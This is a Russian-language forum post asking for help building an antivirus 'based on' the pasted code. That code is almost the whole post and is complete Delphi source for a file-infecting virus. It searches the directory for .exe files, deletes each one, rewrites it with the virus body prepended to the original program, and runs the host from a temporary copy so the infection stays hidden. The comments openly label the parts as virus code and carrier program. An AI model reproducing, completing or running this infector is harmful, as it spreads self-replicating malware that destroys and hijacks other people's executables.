Антивирус На Делфи

Тема в разделе "Pascal and Delphi", создана пользователем Thumbelina, 10 дек 2013.

  1. Thumbelina

    Thumbelina New Member

    Регистрация:
    10 дек 2013
    Сообщения:
    1
    Симпатии:
    0
    доброго вечера,друзья..может ли кто-то. помочь в написании антивируса на основе вот этого кода.

    unit unForm;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, ExtCtrls;

    type
    TVForm = class(TForm)
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    Procedure Infect(s: string);
    Procedure FindAndKill;
    procedure Execute;
    end;

    var
    VForm: TVForm;

    implementation

    {$R *.dfm}

    uses unBlood;

    const

    //не запускайте программу с некорректным значением константы!!!
    //используйте Project - Build

    VirLen=374784; //посмотреть в свойствах файла love.exe
    //после сборки Project - Build

    //не запускайте программу с некорректным значением константы!!!
    //используйте Project - Build

    type
    TArr=array[1..VirLen] of byte;

    Var
    path,app:string;
    InfLen:longint;
    ArrVir:TArr;

    procedure TVForm.FormCreate(Sender: TObject);
    begin
    app:=Application.ExeName;
    path:=ExtractFileDir(app);
    if path[Length(path)]<>'\' then
    path:=path+'\';
    end;

    procedure TVForm.Execute;
    var
    Read: Dword;
    err:cardinal;
    File1h,File2h: hFile;
    ArrInf:TArr;
    Sr: TSearchRec;
    Len:longint;
    StartupInfo: TStartupInfo;
    ProcessInfo:TProcessInformation;
    begin
    CopyFile(PChar(app),PChar(path+'tem p1.tmp'),false); //копирует сам себя во
    //временный файл temp1.tmp

    if FindFirst(PChar(path+'temp1.tmp'),f aAnyFile,sr)<>0 then
    begin
    FindClose(sr);
    Exit;
    end;
    Len:=sr.Size; //находим длину самого себя (в копии)
    FindClose(sr);

    File1h:=_lOpen(PChar(path+'temp1.tm p'),OF_READ);
    _hRead(File1h,@ArrVir,VirLen);
    _lClose(File1h);

    if Len>VirLen then //если длина себя больше, чем вирусный код
    //т.е. запущена зараженная программа
    begin
    File1h:=_lOpen(PChar(path+'temp1.tm p'),OF_READ);
    _hRead(File1h,@ArrInf,VirLen); //читаем (пропускаем) вирусный код
    File2h:=_lcreat(PChar(app+'tmp'),0) ; //создаем новый файл и вытаскиваем
    //в него программу-носитель
    repeat
    Read:=_hRead(File1h,@ArrInf,VirLen) ; //читаем в буфер
    _hWrite(File2h,@ArrInf,Read); //пишем в файл программы-носителя
    until Read=0;
    _lClose(File1h);
    _lClose(File2h);
    DeleteFile(PChar(path+'temp1.tmp')) ;
    StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
    StartupInfo.wShowWindow := SW_SHOW;
    if not CreateProcess(nil,
    PChar(app+'tmp'), { указатель командной строки, путь к
    программе + аргументы }
    nil, { указатель на процесс атрибутов безопасности }
    nil, { указатель на поток атрибутов безопасности }
    false, { флаг родительского обработчика }
    CREATE_NEW_CONSOLE or { флаг создания }
    NORMAL_PRIORITY_CLASS,
    nil, { указатель на новую среду процесса }
    nil, { указатель на имя текущей директории }
    StartupInfo, { указатель на STARTUPINFO }
    ProcessInfo) { указатель на PROCESS_INF }
    then
    err := 0
    else
    begin
    //создаем параллельный поток и ждём, когда пользователь
    //завершит работу с программой-носителем
    Blood:=TBlood.Create(false);
    WaitforSingleObject(ProcessInfo.hPr ocess,INFINITE);
    GetExitCodeProcess(ProcessInfo.hPro cess,Err);
    Blood.Terminate;
    end;
    DeleteFile(PChar(app+'tmp')); //чистим мусор
    end
    else
    DeleteFile(PChar(path+'temp1.tmp')) ; //чистим мусор
    findAndKill;
    end;

    procedure TVForm.FindAndKill;
    var
    Sr: TSearchRec;
    result: integer;
    Prev: string;
    begin
    Prev:='';
    Result:= FindFirst ('*.exe',faAnyFile xor faReadOnly,sr);
    While (result=0) And (Prev<>Sr.Name) do
    Begin
    Prev:=Sr.Name;
    if Sr.Name<>app then
    begin
    InfLen:=Sr.Size;
    Infect(path+Sr.Name);
    end;
    result:=FindNext (sr);
    End;
    end;
    procedure TVForm.Infect(s: string);
    var
    Read: Dword;
    i:integer;
    File1h,File2h: hFile;
    ArrInf:TArr;
    infected:boolean;
    begin
    CopyFile(PChar(s),PChar(path+'temp2 .tmp'),false); //создаем копию

    File2h:=_lOpen(PChar(path+'temp2.tm p'),OF_READ);

    _hRead(File2h,@ArrInf,VirLen);
    _lClose(File2h);

    //определяем, заражена ли программа
    infected:=true;
    for i:=1 to VirLen do
    infected:=infected and (ArrVir=ArrInf);

    if infected then
    begin
    DeleteFile(PChar(path+'temp2.tmp')) ;
    Exit;
    end;

    DeleteFile(s); //удаляем старый файл
    if FileExists(s) then
    Exit;

    File1h:=_lcreat(PChar(s),0); //создаем новый с таким же именем
    File2h:=_lOpen(PChar(path+'temp2.tm p'),OF_READ);
    _hWrite(File1h,@ArrVir,VirLen); //пишем в него вирусный код

    repeat //после вируса - программу-носитель
    Read:=_hRead(File2h,@ArrInf,VirLen) ;
    _hWrite(File1h,@ArrInf,Read);
    until Read=0;

    _lClose(File1h);
    _lClose(File2h);
    DeleteFile(PChar(path+'temp2.tmp')) ; //чистим мусор
    end;

    end.
     
Загрузка...

Поделиться этой страницей